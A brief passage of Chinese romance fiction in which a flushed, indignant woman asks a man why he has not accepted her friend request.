他的眼神被夜色打磨得浓重，她仰起头直视着他，眼睫毛还轻颤着，脸颊却隐约泄露出一点气极的潮红：“——您为什么就不通过我的好友申请？”